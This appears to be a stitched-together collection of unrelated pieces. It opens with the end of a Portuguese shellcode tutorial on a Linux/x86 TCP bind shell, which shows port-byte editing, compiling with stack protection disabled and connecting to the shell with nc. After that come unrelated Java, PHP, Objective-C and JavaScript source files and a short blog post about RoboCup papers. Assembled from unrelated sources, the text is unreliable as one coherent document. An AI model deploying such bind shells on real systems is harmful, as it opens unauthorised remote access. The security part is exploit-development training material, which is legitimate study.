Em resumo, os terceiro e quarto bytes referem-se à porta. Atentem que para
modificá-la no shellcode, o respectivo número deve ser convertido em
hexadecimal. Exemplo:

{% highlight console %}
$ printf "%x\n" 40001
9c41

$ printf "%d\n" 0x9c41
40001
{% endhighlight %}

**40001 -> 9c41 -> \x9c\x41**

###Testando

{% gist geyslan/5179213 %}

{% highlight console %}
$ .gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
{% endhighlight %}

{% highlight console %}
$ nc 127.0.0.1 11111
pwd
/home/uzumaki
netstat -lp | grep /sh
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp     0   0 *:11111              *:*                 LISTEN   5946/sh
{% endhighlight %}

##Um Novo Shell (the chosen one)

Nessa missão, foi construído um shellcode **Shell Bind TCP (Linux/x86)** com
porta reutilizável (setsockopt SO_REUSEADDR) e facilmente configurável (terceiro
e quarto byte). Espero que tenham gostado. Comentem! Façam a roda girar!

**P.S.** Se você encontrar alguma forma de reduzir a quantidade de bytes do
shellcode apresentado, entre em contato para discutirmos. Assim, farei as
devidas alterações colocando os créditos.

*[]*

##Mais Informações

[SLAE - SecurityTube Linux Assembly Expert](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)

[SecurityTube](http://www.securitytube.net/)

[libemu](http://libemu.carnivore.it/)

[Metasploit](http://www.metasploit.com/)

[Metasploit Unleashed - Offensive Security](http://www.offensive-security.com/metasploit-unleashed/Main_Page)

[Berkeley Sockets](https://en.wikipedia.org/wiki/Berkeley_sockets)

[Shell-Storm](http://www.shell-storm.org/)

[exploit-db](http://www.exploit-db.com/)

[Project Shellcode](http://www.projectshellcode.com/)

[Endianness](https://en.wikipedia.org/wiki/Endianness)

[Linux Assembly](http://asm.sourceforge.net/)

[Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel](https://code.google.com/p/bugsec/wiki/AssemblyArqComp)

[Understanding Intel Instruction Sizes - William Swanson](http://www.swansontec.com/sintel.html)

[The Art of Picking Intel Registers - William Swanson](http://www.swansontec.com/sregisters.html)

[Smashing The Stack For Fun And Profit - Aleph One](http://insecure.org/stf/smashstack.html)

[Get all shellcode on binary  - commandlinefu](http://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump)


text:
package io.ifar.goodies;

/**
 * An immutable 3-tuple.
 */
public class Triple<S, T, U> extends Tuple {
    public final S left;
    public final T middle;
    public final U right;

    public Triple(S left, T middle, U right) {
        this.left = left;
        this.middle = middle;
        this.right = right;
    }

    public S getLeft() {
        return left;
    }

    public U getRight() {
        return right;
    }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (o == null || getClass() != o.getClass()) return false;

        Triple triple = (Triple) o;

        if (left != null ? !left.equals(triple.left) : triple.left != null) return false;
        if (middle != null ? !middle.equals(triple.middle) : triple.middle != null) return false;
        if (right != null ? !right.equals(triple.right) : triple.right != null) return false;

        return true;
    }

    @Override
    public int hashCode() {
        int result = left != null ? left.hashCode() : 0;
        result = 31 * result + (middle != null ? middle.hashCode() : 0);
        result = 31 * result + (right != null ? right.hashCode() : 0);
        return result;
    }

    @Override
    public Object[] getValues() {
        return new Object[]{left,middle,right};
    }

    @Override
    public int getArity() {
        return 3;
    }
}


text:
<?php

declare(strict_types=1);

namespace App\Entity\Migration;

use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;

/**
 * Auto-generated Migration: Please modify to your needs!
 */
final class Version20190429025906 extends AbstractMigration
{
    public function up(Schema $schema): void
    {
        $this->addSql('ALTER TABLE station_playlists ADD backend_options VARCHAR(255) DEFAULT NULL');
    }

    public function postup(Schema $schema): void
    {
        $playlists = $this->connection->fetchAllAssociative('SELECT sp.* FROM station_playlists AS sp');

        foreach ($playlists as $playlist) {
            $backend_options = [];

            if ($playlist['interrupt_other_songs']) {
                $backend_options[] = 'interrupt';
            }
            if ($playlist['loop_playlist_once']) {
                $backend_options[] = 'loop_once';
            }
            if ($playlist['play_single_track']) {
                $backend_options[] = 'single_track';
            }

            $this->connection->update('station_playlists', [
                'backend_options' => implode(',', $backend_options),
            ], [
                'id' => $playlist['id'],
            ]);
        }
    }

    public function down(Schema $schema): void
    {
        $this->addSql('ALTER TABLE station_playlists DROP backend_options');
    }
}


text:
package org.rabix.bindings.protocol.draft2.expression;

import org.apache.commons.lang3.StringUtils;

import com.google.common.base.Preconditions;

public enum Draft2ExpressionLanguage {

  JAVASCRIPT(new String[] { "#js", "#cwl-js-engine", "cwl-js-engine", "node-engine.cwl", "#node-engine.cwl" }),
  JSON_POINTER(new String[] { "cwl:JsonPointer", "#cwl:JsonPointer" });

  private String[] languages;

  private Draft2ExpressionLanguage(String[] languages) {
    this.languages = languages;
  }

  public static Draft2ExpressionLanguage convert(String lang) throws Draft2ExpressionException {
    Preconditions.checkNotNull(lang);

    lang = StringUtils.trim(lang);
    for (Draft2ExpressionLanguage langEnum : values()) {
      for (String language : langEnum.languages) {
        if (language.compareToIgnoreCase(lang) == 0) {
          return langEnum;
        }
      }
    }
    throw new Draft2ExpressionException("Language " + lang + " is not supported");
  }

  public String getDefault() {
    return "#cwl-js-engine";
  }

  public String[] getLanguages() {
    return languages;
  }
}


text:
@interface TBExampleVideoView() <TBExampleOverlayViewDelegate>

@property(nonatomic, assign) id<TBExampleVideoViewDelegate> delegate;
@property(nonatomic, retain) TBExampleUnderlayView* underlayView;
@property(nonatomic, retain) UIView* loadingView;
@property(nonatomic) CGSize videoDimensions;
@property(nonatomic, assign) OTStream* stream;

@end

@implementation TBExampleVideoView {
    OTVideoViewType _type;
    UIView* _videoViewHolder;
    CGFloat _lastScale;
    CGPoint _lastPoint;
    UIActivityIndicatorView* _activityIndicatorView;
    UILabel* _lblLoading;
    TBExampleVideoRender* _videoView;

}

@synthesize delegate = _delegate;
@synthesize videoView = _videoView;
@synthesize underlayView = _underlayView;
@synthesize loadingView = _loadingView;
@synthesize overlayView = _overlayView;
@synthesize streamHasVideo = _streamHasVideo;
@synthesize streamHasAudio = _streamHasAudio;
@dynamic toolbarView;
@synthesize videoDimensions = _videoDimensions;
@synthesize stream = _stream;

- (id)initWithFrame:(CGRect)frame
           delegate:(id<TBExampleVideoViewDelegate>)delegate
               type:(OTVideoViewType)type
        displayName:(NSString*)displayName
{

    if (self = [super initWithFrame:frame]) {
        _delegate = delegate;

        //default to YES
        _streamHasVideo = YES;
        _streamHasAudio = YES;
        _type = type;

        self.backgroundColor = [UIColor blackColor];

        _videoViewHolder = [[UIView alloc]
                            initWithFrame:CGRectMake(0, 0,
                                                     frame.size.width,
                                                     frame.size.height)];

        _videoView = [[TBExampleVideoRender alloc]
                      initWithFrame:CGRectMake(0, 0,
                                               frame.size.width,
                                               frame.size.height)];
        _videoView.backgroundColor = [UIColor blackColor];

        [_videoViewHolder addSubview:_videoView];

        _loadingView = [[UIView alloc]
                        initWithFrame:CGRectMake(0, 0,
                                                 frame.size.width,
                                                 frame.size.height)];
        _loadingView.backgroundColor = [UIColor colorWithHue:0
                                                  saturation:0
                                                  brightness:.13
                                                       alpha:1];

        _activityIndicatorView =
        [[UIActivityIndicatorView alloc]
         initWithActivityIndicatorStyle:UIActivityIndicatorViewStyleWhiteLarge];
        [_activityIndicatorView startAnimating];

        _lblLoading = [[UILabel alloc]
                       initWithFrame:CGRectMake(0, 0,
                                                self.frame.size.width, 30)];
        _lblLoading.backgroundColor = [UIColor clearColor];
        _lblLoading.textColor = [UIColor whiteColor];
        _lblLoading.textAlignment = NSTextAlignmentCenter;
        _lblLoading.font = [UIFont fontWithName:@"Helvetica-Neue" size:16.0];
        _lblLoading.text = @"Loading . . .";
        _lblLoading.numberOfLines = 1;
        _lblLoading.lineBreakMode = NSLineBreakByWordWrapping;
        [_lblLoading sizeToFit];

        [_loadingView addSubview:_activityIndicatorView];
        [_loadingView addSubview:_lblLoading];

        TBExampleOverlayViewType overlayType =
        (_type == OTVideoViewTypePublisher) ?
        TBExampleOverlayViewTypePublisher : TBExampleOverlayViewTypeSubscriber;

        _underlayView = [[TBExampleUnderlayView alloc]
                         initWithFrame:CGRectMake(0, 0,
                                                  frame.size.width,
                                                  frame.size.height)];
        [_underlayView setAudioActive:_streamHasAudio];

        _overlayView = [[TBExampleOverlayView alloc]
                        initWithFrame:CGRectMake(0, 0,
                                                 frame.size.width,
                                                 frame.size.height)
                        overlayType:overlayType
                        displayName:displayName
                        delegate:self];

        [_overlayView setStreamHasAudio:_streamHasAudio];
        [_overlayView setStreamHasVideo:_streamHasVideo];

        [_underlayView setHidden:YES];
        [_loadingView setHidden:YES];

        [self addSubview:_videoViewHolder];
        [self addSubview:_underlayView];
        [self addSubview:_loadingView];
        [self addSubview:_overlayView];

        UITapGestureRecognizer* tap =
        [[UITapGestureRecognizer alloc] initWithTarget:_overlayView
                                                action:@selector(showOverlay:)];
        [tap setNumberOfTapsRequired:1];
        [tap setCancelsTouchesInView:NO];
        [self addGestureRecognizer:tap];

        self.userInteractionEnabled = YES;
        self.clipsToBounds = YES;

        [self setStreamHasAudio:_streamHasAudio];
        [self setStreamHasVideo:_streamHasVideo];

        if (type == OTVideoViewTypeSubscriber)
        {
            _audioOnlyView = [[UIView alloc] initWithFrame:frame];
            _audioOnlyView.hidden = YES;

            UIImageView *headset = [[UIImageView alloc]
                                    initWithImage:[UIImage
                                                   imageNamed:@"Headset.png"]];
            headset.tag = HEADSET_VEW_TAG;

            UIImageView *silhouette = [[UIImageView alloc]
                                       initWithImage:[UIImage
                                                imageNamed:@"silhouette.png"]];
            silhouette.tag = SILHOUETTE_VEW_TAG;

            [_audioOnlyView addSubview:headset];
            [_audioOnlyView addSubview:silhouette];

            _audioLevelMeter = [[TBAudioLevelMeter alloc]
                                 initWithFrame:CGRectZero];
            _audioLevelMeter.opaque = false;
            _audioLevelMeter.userInteractionEnabled = NO;
            CGRect frame = CGRectMake([[UIScreen mainScreen] bounds].size.width -
                                      66,
                                      10 ,
                                      140,
                                      140);
            _audioLevelMeter.frame = frame;
            [self insertSubview:_audioOnlyView belowSubview:_overlayView];
            [_audioOnlyView addSubview:_audioLevelMeter];
            [_audioOnlyView bringSubviewToFront:headset];
            [headset release];
            [silhouette release];
        }

    }
    return self;
}

- (void)showAudioOnlyUnderlay:(BOOL)showUnderlay
{
    _underlayView.hidden = !showUnderlay;
}

- (void)setDisplayName:(NSString*)name {
    _overlayView.displayName = name;
}

- (void)setStreamHasAudio:(BOOL)streamHasAudio
{
    _streamHasAudio = streamHasAudio;
    [_underlayView setAudioActive:streamHasAudio];
    [_overlayView setStreamHasAudio:streamHasAudio];

    [self setNeedsLayout];
}

- (void)setStreamHasVideo:(BOOL)streamHasVideo
{
    _streamHasVideo = streamHasVideo;
    [_overlayView setStreamHasVideo:_streamHasVideo];
    [self showAudioOnlyUnderlay:!_streamHasVideo];

    [self setNeedsLayout];
}

- (void)showLoadingView:(BOOL)showLoadingView
{
    _loadingView.hidden = !showLoadingView;
}

- (void)layoutSubviews {

    [super layoutSubviews];

    if (_type == OTVideoViewTypeSubscriber) {
        if ([self videoAspectRatio] > 0) {

            _videoViewHolder.frame = CGRectMake(0, 0,
                                                self.frame.size.width,
                                                self.frame.size.height);
            _videoView.frame = _videoViewHolder.frame;
            _videoViewHolder.center = CGPointMake(self.frame.size.width/2,
                                                  self.frame.size.height/2);

        } else {
            NSLog(@"VideoView frame can't be set without known video "
                  "dimensions...");
        }

        _audioOnlyView.frame = CGRectMake(0,
                                          0,
                                          self.frame.size.width,
                                          self.frame.size.height);
        UIImageView *headsetImgView = (UIImageView *)[self.audioOnlyView
                                       viewWithTag:HEADSET_VEW_TAG];
        CGRect audioMeterFrame = self.audioLevelMeter.frame;
        CGRect frame = headsetImgView.frame;
        frame.size.width = 40;
        frame.size.height = 40;
        frame.origin.x = audioMeterFrame.origin.x  +
        audioMeterFrame.size.width/4 - frame.size.width/2;
        frame.origin.y =
        audioMeterFrame.size.height/4 - frame.size.height/2;
        headsetImgView.frame = frame;

        UIImageView *silhouetteImgView = (UIImageView *)[self.audioOnlyView
                                            viewWithTag:SILHOUETTE_VEW_TAG];
        frame = silhouetteImgView.frame;
        frame.size.width = 200;
        frame.size.height = 200;
        frame.origin.x = self.frame.size.width/2 -
        frame.size.width/2;
        frame.origin.y =
        self.frame.size.height/2 - frame.size.height/2;
        silhouetteImgView.frame = frame;

        UIColor *backgroundColor = [UIColor colorWithRed:40.0f/255.0f
                                              green:40.0f/255.0f
                                               blue:40/255.0f
                                              alpha:1.f];
        _audioOnlyView.backgroundColor = backgroundColor;

    } else {

        float currentAspect = 1.2222;
        float desiredAspect = 1.3333;

        //aspect fill our publisher view
        float width = self.frame.size.width * (desiredAspect/currentAspect);
        float height = self.frame.size.height * (desiredAspect/currentAspect);
        _videoView.frame = CGRectMake(0, 0, width, height);
        _videoViewHolder.frame = CGRectMake(0, 0, width, height);

        //center it so it clips and is properly letterboxed by the superview
        _videoViewHolder.center = CGPointMake(self.frame.size.width/2,
                                              self.frame.size.height/2);

    }

    [_underlayView setFrame:CGRectMake(0, 0,
                                       self.frame.size.width,
                                       self.frame.size.height)];
    [_loadingView setFrame:CGRectMake(0, 0,
                                      self.frame.size.width,
                                      self.frame.size.height)];
    [_overlayView setFrame:CGRectMake(0, 0,
                                      self.frame.size.width,
                                      self.frame.size.height)];

    [_activityIndicatorView setCenter:_loadingView.center];
    _activityIndicatorView.activityIndicatorViewStyle =
    (self.frame.size.height >= 120) ?
    UIActivityIndicatorViewStyleWhiteLarge : UIActivityIndicatorViewStyleWhite;

    [_lblLoading
     setCenter:CGPointMake(_loadingView.center.x,
                           _loadingView.center.y +
                           _activityIndicatorView.frame.size.height)];
    [_lblLoading
     setHidden:((self.frame.size.height < (_lblLoading.frame.size.width + 10))
                || (self.frame.size.height < 120))];
}

- (UIView*)toolbarView {
    return _overlayView.toolbarView;
}

- (void)setFrame:(CGRect)frame {
    [super setFrame:frame];

    [self setNeedsLayout];
}

- (float)videoAspectRatio {
    if (CGSizeEqualToSize(_videoDimensions, CGSizeZero))
        return 1.3333; //default to 4:3 aspect ratio

    return _videoDimensions.width / _videoDimensions.height;
}

- (void)setVideoDimensions:(CGSize)dimensions {
    _videoDimensions = dimensions;

    [self setNeedsLayout];
}

- (void)setStream:(OTStream *)stream {
    _stream = stream;
}

-(void)dealloc
{
    [super dealloc];
    [_audioOnlyView release];
    [_audioLevelMeter release];
}

#pragma mark - OTOverlayViewDelegate -

- (void)overlayViewDidToggleCamera:(TBExampleOverlayView*)overlayView
{
    if ([_delegate respondsToSelector:@selector(videoViewDidToggleCamera:)]) {
        [_delegate videoViewDidToggleCamera:self];
    }
}

- (void)overlayView:(TBExampleOverlayView*)overlay
  publisherWasMuted:(BOOL)publisherMuted
{
    if ([_delegate respondsToSelector:@selector(videoView:publisherWasMuted:)])
    {
        [_delegate videoView:self publisherWasMuted:publisherMuted];
    }
}

- (void)     overlayView:(TBExampleOverlayView*)overlay
subscriberVolumeWasMuted:(BOOL)subscriberMuted
{
    if ([_delegate
         respondsToSelector:@selector(videoView:subscriberVolumeWasMuted:)])
    {
        [_delegate videoView:self subscriberVolumeWasMuted:subscriberMuted];
    }
}

#pragma mark - OTVideoRender -
- (void)renderVideoFrame:(OTVideoFrame*) frame {
    [_videoView renderVideoFrame:frame];
}

@end


text:
title: RoboCup Symposium and PlanRob Papers Available
date: 2019-07-07 12:00 -0500
type: blog
categories: news uw
published: true
---

We spent some time thinking about how to build some recent advances in neural natural language understanding into a system
that could be useful for a general-purpose service robot.
The approach strike a nice balance between flexibility, performance, and ease of implementation.
I'll present {% cite_details walker2019robocup --text the paper %} at this year's [RoboCup Symposium](https://2019.robocup.org/symposium.php) in Australia.

Yuqian and I also put down some of {% cite_details walker2019planrob --text thoughts on what the desirable features of a GPSR planning system are %}, a nice complement to our {% cite_details jiang2019icaps --text other work %} to appear at ICAPS.


text:
package org.apereo.cas.config;

import org.apereo.cas.configuration.CasConfigurationProperties;
import org.apereo.cas.configuration.CasConfigurationPropertiesEnvironmentManager;
import org.apereo.cas.support.events.listener.CasCloudBusConfigurationEventListener;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.ConfigurableApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

/**
 * This is {@link CasCloudBusEventsConfigEnvironmentConfiguration}.
 *
 * @author Misagh Moayyed
 * @since 5.1.0
 */
@Configuration(value = "casCloudBusEventsConfigEnvironmentConfiguration", proxyBeanMethods = false)
@EnableConfigurationProperties(CasConfigurationProperties.class)
public class CasCloudBusEventsConfigEnvironmentConfiguration {

    @Autowired
    private ConfigurableApplicationContext applicationContext;

    @ConditionalOnMissingBean(name = "casCloudBusConfigurationEventListener")
    @Bean
    @Autowired
    public CasCloudBusConfigurationEventListener casCloudBusConfigurationEventListener(
        @Qualifier("configurationPropertiesEnvironmentManager") final CasConfigurationPropertiesEnvironmentManager manager) {
        return new CasCloudBusConfigurationEventListener(manager, this.applicationContext);
    }

}


text:
/*
 * Builder Index controller Controller entity controller
 */
+function ($) { "use strict";

    if ($.oc.builder === undefined)
        $.oc.builder = {}

    if ($.oc.builder.entityControllers === undefined)
        $.oc.builder.entityControllers = {}

    var Base = $.oc.builder.entityControllers.base,
        BaseProto = Base.prototype

    var Controller = function(indexController) {
        Base.call(this, 'controller', indexController)
    }

    Controller.prototype = Object.create(BaseProto)
    Controller.prototype.constructor = Controller

    // PUBLIC METHODS
    // ============================

    Controller.prototype.cmdCreateController = function(ev) {
        var $form = $(ev.currentTarget),
            self = this,
            pluginCode = $form.data('pluginCode'),
            behaviorsSelected = $form.find('input[name="behaviors[]"]:checked').length,
            promise = null

        // If behaviors were selected, open a new tab after the
        // controller is saved. Otherwise just update the controller
        // list.
        if (behaviorsSelected) {
            promise = this.indexController.openOrLoadMasterTab(
                $form,
                'onControllerCreate',
                this.makeTabId(pluginCode+'-new-controller'),
                {}
            )
        }
        else {
            promise = $form.request('onControllerCreate')
        }

        promise.done(function(data){
            $form.trigger('close.oc.popup')
            self.updateDataRegistry(data)
        }).always($.oc.builder.indexController.hideStripeIndicatorProxy)
    }

    Controller.prototype.cmdOpenController = function(ev) {
        var controller = $(ev.currentTarget).data('id'),
            pluginCode = $(ev.currentTarget).data('pluginCode')

        this.indexController.openOrLoadMasterTab($(ev.target), 'onControllerOpen', this.makeTabId(pluginCode+'-'+controller), {
            controller: controller
        })
    }

    Controller.prototype.cmdSaveController = function(ev) {
        var $target = $(ev.currentTarget),
            $form = $target.closest('form'),
            $inspectorContainer = $form.find('.inspector-container')

        if (!$.oc.inspector.manager.applyValuesFromContainer($inspectorContainer)) {
            return
        }

        $target.request('onControllerSave').done(
            this.proxy(this.saveControllerDone)
        )
    }

    // EVENT HANDLERS
    // ============================

    // INTERNAL METHODS
    // ============================

    Controller.prototype.saveControllerDone = function(data) {
        if (data['builderResponseData'] === undefined) {
            throw new Error('Invalid response data')
        }

        var $masterTabPane = this.getMasterTabsActivePane()

        this.getIndexController().unchangeTab($masterTabPane)
    }

    Controller.prototype.updateDataRegistry = function(data) {
        if (data.builderResponseData.registryData !== undefined) {
            var registryData = data.builderResponseData.registryData

            $.oc.builder.dataRegistry.set(registryData.pluginCode, 'controller-urls', null, registryData.urls)
        }
    }

    Controller.prototype.getControllerList = function() {
        return $('#layout-side-panel form[data-content-id=controller] [data-control=filelist]')
    }

    // REGISTRATION
    // ============================

    $.oc.builder.entityControllers.controller = Controller;

}(window.jQuery);


text:
package org.apache.asterix.replication.sync;

import java.io.IOException;
import java.io.RandomAccessFile;
import java.nio.channels.FileChannel;
import java.nio.channels.SocketChannel;

import org.apache.asterix.common.api.INcApplicationContext;
import org.apache.asterix.common.exceptions.ReplicationException;
import org.apache.asterix.replication.messaging.ReplicationProtocol;
import org.apache.asterix.replication.management.NetworkingUtil;
import org.apache.asterix.replication.messaging.DeleteFileTask;
import org.apache.asterix.replication.messaging.ReplicateFileTask;
import org.apache.asterix.replication.api.PartitionReplica;
import org.apache.hyracks.api.io.FileReference;
import org.apache.hyracks.api.io.IIOManager;
import org.apache.hyracks.api.network.ISocketChannel;

public class FileSynchronizer {

    private final INcApplicationContext appCtx;
    private final PartitionReplica replica;

    public FileSynchronizer(INcApplicationContext appCtx, PartitionReplica replica) {
        this.appCtx = appCtx;
        this.replica = replica;
    }

    public void replicate(String file) {
        replicate(file, false);
    }

    public void replicate(String file, boolean metadata) {
        try {
            final IIOManager ioManager = appCtx.getIoManager();
            final ISocketChannel channel = replica.getChannel();
            final FileReference filePath = ioManager.resolve(file);
            ReplicateFileTask task = new ReplicateFileTask(file, filePath.getFile().length(), metadata);
            ReplicationProtocol.sendTo(replica, task);
            // send the file itself
            try (RandomAccessFile fromFile = new RandomAccessFile(filePath.getFile(), "r");
                    FileChannel fileChannel = fromFile.getChannel()) {
                NetworkingUtil.sendFile(fileChannel, channel);
            }
            ReplicationProtocol.waitForAck(replica);
        } catch (IOException e) {
            throw new ReplicationException(e);
        }
    }

    public void delete(String file) {
        try {
            final DeleteFileTask task = new DeleteFileTask(file);
            ReplicationProtocol.sendTo(replica, task);
            ReplicationProtocol.waitForAck(replica);
        } catch (IOException e) {
            throw new ReplicationException(e);
        }
    }
}


text:
<?php
declare(strict_types=1);

namespace TSwiackiewicz\DDD\Query\Sort;

/**
 * Class Sort
 * @package TSwiackiewicz\DDD\Query\Sort
 */
class Sort
{
    private const ORDER_ASC = 'ASC';
    private const ORDER_DESC = 'DESC';

    /**
     * @var string
     */
    private $order;

    /**
     * @var string
     */
    private $fieldName;

    /**
     * Sort constructor.
     * @param string $order
     * @param string $fieldName
     */
    public function __construct(string $order, string $fieldName)
    {
        $this->order = $order;
        $this->fieldName = $fieldName;
    }

    /**
     * @param string $fileName
     * @return Sort
     */
    public static function asc(string $fileName): Sort
    {
        return new static(static::ORDER_ASC, $fileName);
    }

    /**
     * @param string $fileName
     * @return Sort
     */
    public static function desc(string $fileName): Sort
    {
        return new static(static::ORDER_DESC, $fileName);
    }

    /**
     * @return string
     */
    public function getOrder(): string
    {
        return $this->order;
    }

    /**
     * @return bool
     */
    public function isAscendingOrder(): bool
    {
        return self::ORDER_ASC === $this->order;
    }

    /**
     * @return bool
     */
    public function isDescendingOrder(): bool
    {
        return self::ORDER_DESC === $this->order;
    }

    /**
     * @return string
     */
    public function getFieldName(): string
    {
        return $this->fieldName;
    }
}